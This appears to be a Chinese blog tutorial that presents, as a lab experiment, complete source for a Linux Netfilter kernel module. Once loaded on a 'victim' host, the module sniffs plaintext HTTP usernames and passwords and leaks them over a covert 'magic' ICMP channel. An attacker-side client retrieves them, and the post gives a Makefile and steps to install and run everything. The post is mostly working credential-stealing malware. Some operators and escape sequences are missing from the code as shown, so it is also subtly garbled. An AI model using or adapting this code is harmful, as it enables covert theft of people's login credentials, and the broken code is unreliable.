Netfilter编程实现用户名和密码的窃取

2022-10-25 15:43:22 浏览数 (1)

Netfilter编程实现用户名和密码的窃取

  • 一、介绍
  • 二、代码
  • 三、运行

一、介绍

本实验窃取密码的前提是要明文传输,先必须找到一个登录页面是采用http协议(非https)的站点,一般的163邮箱都有相应的防御机制,建议使用自己学校的邮箱或门户,随意输入用户名和密码。

二、代码

sniff.c

代码语言:javascript复制
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

/* 使用ICMP_ECHO数据包 Code字段设置为0x5B 91 */
#define MAGIC_CODE   0x5B
/* 数据包在头后有足够的空间来容纳4字节的IP地址和用户名和密码字段,每个字段最多15个字符加上一个空字节。
 * 因此,ICMP有效负载的总大小为36字节。
 */
#define REPLY_SIZE   36

/* "GPL" 是指明了 这是GNU General Public License的任意版本 */
MODULE_LICENSE("GPL");  

/* ICMP有效载荷大小 计算方式是得到整个ip数据包的总长度 减去 ip头部大小 再减去 icmp头部大小 */ 
#define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len)  - sizeof(struct iphdr)  - sizeof(struct icmphdr))

/* username和password用来保存拿到的用户名/密码对
 * 一次只能保留一个USER / PASS对,一旦发起请求将被清除。
 */
static char *username = NULL;
static char *password = NULL;

/* 标记我们是否已经有一对用户名/密码对 */
static int  have_pair = 0;   

/* 追踪信息。只记录转到的USER和PASS命令相同的IP地址和TCP端口目标ip 和 目标端口 */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* 用于描述我们的Netfilter挂钩
 * nf_hook_ops数据结构在linux/netfilter.h中定义
 * 我们定义两个nf_hook_ops结构体,一个传入的hook 和 一个传出的hook 
struct nf_hook_ops
{
    struct list_head list; //钩子链表
    nf_hookfn *hook;       //钩子处理函数
    struct module *owner;  //模块所有者
    int pf;                //钩子协议族
    int hooknum;           //钩子的位置值(PREROUTING、POSTOUTING、INPUT、FORWARD、OUTPUT五个位置)
    int priority;          //钩子的的优先级
}
 */
struct nf_hook_ops  pre_hook;        
struct nf_hook_ops  post_hook;       

/* 查看已知为HTTP数据包的sk_buff。查找USER和PASS字段,并确保它们都来自target_xxx字段中指示的一个主机 */
static void check_http(struct sk_buff *skb)
{
	/* 定义一个tcphdr结构体 *TCP */ 
  struct tcphdr *tcp;
  char *data;
  char *name;
  char *passwd;
  char *_and;
  char *check_connection;
  int  len, i;

	/* 从套接字缓冲区skb中获取tcp首部 */ 
  tcp = tcp_hdr(skb);

  /* data指向数据部分
   * 系统位数导致强制类型转换错误 64位系统中指针类型8个字节,因此强转为int会出错,可以转成同样为8字节的long型 
   * 通过tcp首部位置   tcp长度doff*4字节(以4B为单位) 算出数据区域的位置 data 
   * 这里是结构体,所以需要类型转换,并且第一个变量的强转类型不能去掉
   */ 
  data = (char *)((unsigned long)tcp   (unsigned long)(tcp->doff * 4));

  /* Cookie中不包含password,但其包含的uid及domain往往并非采用密码登录的用户,先将其排除 */
	if(strstr(data,"Cookie") != NULL){
	  data = strstr(data,"Cookie");    
		if(strstr(data,"rn")!= NULL) 
		data = strstr(data,"rn");     //匹配Cookie结尾处的回车换行rn
		else return;
	}

	/* 判断"Upgrade-In"在data中,判断"uid"在data中,判断"password"在data中 */ 
  if (strstr(data, "Upgrade-In") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) 
  { 
    /* 返回在data中首次出现Upgrade-In的地址 */ 
    check_connection = strstr(data, "Upgrade-In");
		
		/* 返回check_connection之后首次出现uid的地址 */ 
    name = strstr(check_connection, "uid=");

    /* 返回name之后首次出现&的地址 */ 
    _and = strstr(name, "&");

    /* 将name往后移动4字节,因为“uid=”占了四字节,所以移动之后name就是所存储的uid了 */
    name  = 4;

    /* 这是uid的长度,用&位置减去uid开始的位置 */ 
    len = _and - name;

    /* 在内核中给这个username分配内存大小。len 2是因为还需要结束符 */ 
    if ((username = kmalloc(len   2, GFP_KERNEL)) == NULL)
      return;

    /* 将username开始的len 2字节设置为0x00,其实就是初始化 */ 
    memset(username, 0x00, len   2);
        
    /* 用一个for循环将获取的uid放到username中 */
    for (i = 0; i < len;   i)
    {
      *(username   i) = name[i];
    }
    *(username   len) = '';

		/* 这里获取密码和上面获取用户名用的是一样的方法 */ 
    passwd = strstr(name,"password=");
    _and = strstr(passwd,"&");
    passwd  = 9;
    len = _and - passwd;

    if ((password = kmalloc(len   2, GFP_KERNEL)) == NULL)
      return;
    memset(password, 0x00, len   2);
    for (i = 0; i < len;   i)
    {
      *(password   i) = passwd[i];
    }
    *(password   len) = '';

  } else {
    /* 如果数据区域data中没有上面三个字段则直接返回 */ 
    return;
  }

  /* 获取32位目的ip,从ip首部的daddr字段中获取 */ 
  if (!target_ip)
    target_ip = ip_hdr(skb)->daddr;

  /* 获取16位源端口号,从tcp首部的source中获取 */ 
  if (!target_port)
    target_port = tcp->source;

	/* username和password都获取到了,将have_pair变为1 */ 
  if (username && password)
    have_pair  ;              
     
  /* 获取到一个用户名/密码对,have_pair就为1了 ,并将获取到的用户米和密码输出 */ 
  if (have_pair)
    printk("Have password pair!  U: %s   P: %sn", username, password);
}

/* 函数称为POST_ROUTING(最后)钩子。它会检查FTP流量然后搜索该流量的USER和PASS命令 */
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct sk_buff *sb = skb;
  struct tcphdr *tcp;
   
  /* 首先确保这是一个TCP数据包 */
  if (ip_hdr(sb)->protocol != IPPROTO_TCP)
    return NF_ACCEPT;         

  /* ip的首部长度*4字节(以4B为单位)就是跳过ip首部 到达icmp首部的位置*/ 
  tcp = (struct tcphdr *)((sb->data)   (ip_hdr(sb)->ihl * 4));

  /* 16位目标端口号,现在检查它是否是一个HTTP包 */
  if (tcp->dest != htons(80))
    return NF_ACCEPT;             

  /* 如果还未获取到用户名密码对,则调用check_HTTP()去获取 */
  if (!have_pair)
    check_http(sb);

  /* Netfilter返回值,保留该数据包 */
  return NF_ACCEPT;
}

/* 监视“Magic”数据包的传入ICMP流量的过程。
 * 收到后,我们调整skb结构发送回复,回到请求主机并告诉Netfilter我们偷了包。
 */
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  /* 让传入的缓冲skb存到sb中 */ 
  struct sk_buff *sb = skb;
  /* 定义一个icmp首部指针 */ 
  struct icmphdr *icmp;
  /* 我们将数据复制到回复中 */
  char *cp_data;
  /* Temporary IP holder */        
  unsigned int taddr;           

  /* 我判断是否已经获取到用户名/密码对了 */
  if (!have_pair)
    return NF_ACCEPT;

  /* 判断这是不是一个ICMP包 */
  if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
    return NF_ACCEPT;

  /* ip的首部长度*4字节(以4B为单位)就是跳过ip首部 到达icmp首部的位置 */ 
  icmp = (struct icmphdr *)(sb->data   ip_hdr(sb)->ihl * 4);

  /* 判断这是不是一个MAGIC包 0x58,icmp类型是不是ICMP_ECHO(8或者0),icmp有效载荷是不是大于等于36 */
  if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
    return NF_ACCEPT;
  }

  /* 开始调整skb结构发送回复:
   * 将ip首部中的源地址和目的地址互换
   */ 
  taddr = ip_hdr(sb)->saddr; 
  ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
  ip_hdr(sb)->daddr = taddr;

  /* 帧的类型为 PACKET_OUTGOING */ 
  sb->pkt_type = PACKET_OUTGOING;

  /* struct net_device * dev; 表示一个网络设备
   * 设备所属类型,ARP模块中,用type判断接口的硬件地址类型,以太网接口为ARPHRD_ETHER 
   */ 
  switch (sb->dev->type) {
    //512 
    case ARPHRD_PPP:
      break;
    // 772 环回设备  
    case ARPHRD_LOOPBACK:
    // 1 以太网10Mbps 
    case ARPHRD_ETHER:
    {
      /* #define ETH_ALEN 6  定义了以太网接口的MAC地址的长度为6个字节 */ 
      unsigned char t_hwaddr[ETH_ALEN];

      /* 移动数据指针指向链接层头部 */
      sb->data = (unsigned char *)eth_hdr(sb);
      /* 跳过mac地址 sizeof(sb->mac.ethernet); */ 
      sb->len  = ETH_HLEN; 
       
      /*交换mac源地址和mac目的地址*/ 
      /*将目的地址放到t_HWADDR*/ 
      memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
      /*将源地址放到原目的地址的地方*/ 
      memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
        ETH_ALEN);
      memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
      break;
    }
   };

  /* 现在将IP地址,然后用户名,然后密码复制到数据包 */

  /* cp_data指向数据部分,这里是跳过icmp首部 */
  cp_data = (char *)((char *)icmp   sizeof(struct icmphdr));
  /* 将目标的ip地址放到数据区域 */ 
  memcpy(cp_data, &target_ip, 4);
   
  /*将用户名和密码放到cp_data中*/ 
  if (username)
    /*跳过上面用掉的4字节*/ 
    memcpy(cp_data   4, username, 16);
  if (password)
    /*跳过上面用掉的20字节*/ 
    memcpy(cp_data   20, password, 16);

  /* 排队发包,dev_queue_xmit这个网络设备接口层函数发送给driver */
  dev_queue_xmit(sb);

  /* 现在释放保存的用户名和密码并重置have_pair */
  kfree(username);
  kfree(password);
  username = password = NULL;
  have_pair = 0;

  target_port = target_ip = 0;

	/*忘掉该数据包*/ 
   return NF_STOLEN;
}

/*
内核模块中的两个函数 init_module() :表示起始 和 cleanup_module() :表示结束 
*/ 
int init_module()
{
	/*hook函数指针指向watc_in*/ 
   pre_hook.hook     = watch_in;
   /*协议簇为ipv4*/  
   pre_hook.pf       = PF_INET;
   /*优先级最高*/
   pre_hook.priority = NF_IP_PRI_FIRST;
   /*hook的类型为在完整性校验之后,选路确定之前*/ 
   pre_hook.hooknum  = NF_INET_PRE_ROUTING;

   /*hook函数指针指向watc_out*/ 
   post_hook.hook     = watch_out;
   /*协议簇为ipv4*/  
   post_hook.pf       = PF_INET;
   /*优先级最高*/
   post_hook.priority = NF_IP_PRI_FIRST;
   /*hook的类型为在完数据包离开本地主机“上线”之前*/ 
   post_hook.hooknum  = NF_INET_POST_ROUTING;

   /*将pre_hook和post_hook注册,注册实际上就是在一个nf_hook_ops链表中再插入一个nf_hook_ops结构*/ 
   nf_register_net_hook(&init_net ,&pre_hook);
   nf_register_net_hook(&init_net ,&post_hook);

   return 0;
}

void cleanup_module()
{
	/*将pre_hook和post_hook取消注册,取消注册实际上就是在一个nf_hook_ops链表中删除一个nf_hook_ops结构*/ 
   nf_unregister_net_hook(&init_net ,&post_hook);
   nf_unregister_net_hook(&init_net ,&pre_hook);

	/*释放之前分配的内核空间*/ 
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}

getpass.c

代码语言:javascript复制
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* We want the proper headers */
// #ifndef __USE_BSD
// #define __USE_BSD             
// #endif

static unsigned short checksum(int numwords, unsigned short *buff)
{
    unsigned long sum;

    for(sum = 0;numwords > 0;numwords--)
        sum  = *buff  ;   

    sum = (sum >> 16)   (sum & 0xFFFF);
    sum  = (sum >> 16);

    return ~sum;
}

int main(int argc, char *argv[])
{
    /* 发送的数据包 */
    unsigned char dgram[256];          
    /* 接收的数据包 */ 
    unsigned char recvbuff[256];
    /* iphead指向ip头部 */ 
    struct ip *iphead = (struct ip *)dgram;
    /* icmphead指向icmp头部  sizeof(ip)是跳过ip头部 */
    struct icmp *icmphead = (struct icmp *)(dgram   sizeof(struct ip));
    /* 源地址 */
    struct sockaddr_in src;
    /* 目的地址 */
    struct sockaddr_in addr;
    /* 攻击者 */
    struct in_addr my_addr;
    /* ftp server ip地址,这里是我们登陆邮箱的远程服务主机地址 */
    struct in_addr serv_addr;
    /* 源地址的大小 */
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    
    int icmp_sock = 0;
    /* 缓冲区 */
    int one = 1;
    /* 缓冲区的头部指针 */
    int *ptr_one = &one;

    /* 若没有传入两个参数:被攻击和攻击主机IP则直接退出 */
    if (argc < 3) {
        fprintf(stderr, "Usage:  %s remoteIP myIPn", argv[0]);
        exit(1);
    }

    /* 获取一个socket,协议簇用的是ipv4,AF_INET和PF_INET是一样的, SOCK_RAW表示我们自己来构建这个数据包,类型为ICMP数据包 */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    	fprintf(stderr, "Couldn't open raw socket! %sn",
        strerror(errno));
    	exit(1);
    }

    /** 设置sock选项,使用ip协议来解析,IP_HDRINCL表示我们自己来填充数据
     *  这里的setsockopt的作用实际上是告诉主机我要来自行定义ip头部信息,跟上面的socket设置为raw和icmp作用类似,告诉主机我需要自行定义的部分
     */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
    	close(icmp_sock);
    	fprintf(stderr, "Couldn't set HDRINCL option! %sn",
        strerror(errno));
    	exit(1);
    }

	/* 将目的地址的协议簇设置为ipv4 */
    addr.sin_family = AF_INET;
    /* 受害ip */ 
    addr.sin_addr.s_addr = inet_addr(argv[1]);
	/* 攻击者ip */ 
    my_addr.s_addr = inet_addr(argv[2]);

	/*将ptr指向的内存块的第一个num字节设置为指定值*/
	/*将dgram初始化为全0*/ 
    memset(dgram, 0x00, 256);
    /*将recvbuff初始化为全0*/ 
    memset(recvbuff, 0x00, 256);

    /* 为ip头部填充数据 */
    iphead->ip_hl  = 5;  //4位 ip首部长度 
    iphead->ip_v   = 4; // 
    iphead->ip_tos = 0; //8位 服务类型 
    iphead->ip_len = 84; // 实际长度不需要84
    iphead->ip_id  = (unsigned short)rand(); //16位 可以初始化为0 
    iphead->ip_off = 0; //13位 分段偏移 
    iphead->ip_ttl = 128; //8位 生存时间 
    iphead->ip_p   = IPPROTO_ICMP; //8位 icmp协议 
    iphead->ip_sum = 0; //校验和初始化为0 
    iphead->ip_src = my_addr; //攻击者主机ip
    iphead->ip_dst = addr.sin_addr; //被攻击者主机ip

    /* 为icmp头部填充数据 */
    icmphead->icmp_type = ICMP_ECHO; //类型为icmp回复报文 
    icmphead->icmp_code = 0x5B; //watch_in()中判断的icmp_code一致 
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); //icmp的校验和需要计算头部和数据部分

    /* 将我们构造好的包发出去 */
    fprintf(stdout, "Sending request...n");
    if (sendto(icmp_sock, dgram, 64, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { // 64 = 20   8   36
    	fprintf(stderr, "nFailed sending request! %sn",
        strerror(errno));
    	return 0;
    }

    /* 接受回复包 */
    fprintf(stdout, "Waiting for reply...n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
    	fprintf(stdout, "Failed getting reply packet! %sn",
        strerror(errno));
    	close(icmp_sock);
    	exit(1);
    }

    /* 分别获得收到的数据包ip头部位置和icmp头部位置 */
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff   sizeof(struct ip));

    /* 将获取到的包的icmp数据部分复制到serv_addr */
    memcpy(&serv_addr, ((char *)icmphead   8), sizeof (struct in_addr));

    // fprintf(stdout, "Stolen for http server %s:n", inet_ntoa(serv_addr));
	// fprintf(stdout, "Userid:    %sn"  , (char *)((char *)icmphead   12));
	// fprintf(stdout, "Domain:    %sn"  , (char *)((char *)icmphead   24));
	// fprintf(stdout, "Password:    %sn", (char *)((char *)icmphead   40));

    fprintf(stdout, "Stolen for ftp server %s:n", inet_ntoa(serv_addr));
    /* 根据自定义的REPLY_SIZE=4 16 16=36字节 */
    fprintf(stdout, "Username:    %sn", (char *)((char *)icmphead   12)); //8 4
    fprintf(stdout, "Password:    %sn", (char *)((char *)icmphead   28)); //12 16

    close(icmp_sock);

    return 0;
}

Makefile

代码语言:javascript复制
obj-m  = sniff.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

三、运行

在受害者主机拷贝sniff.cMakefile文件,通过make编译一下内核。 再将ko文件加载到内核。

代码语言:javascript复制
$ sudo insmod sniff.ko

在攻击者主机gcc编译c文件,运行getpass文件。

代码语言:javascript复制
$ sudo ./getpass ${attack ip} ${victim ip}

可以通过dmesg查看设备printk信息

结果:这里为了简单起见直接用一个虚拟机实现了,抓取数据只有36字节(4 16 16)。

0 人点赞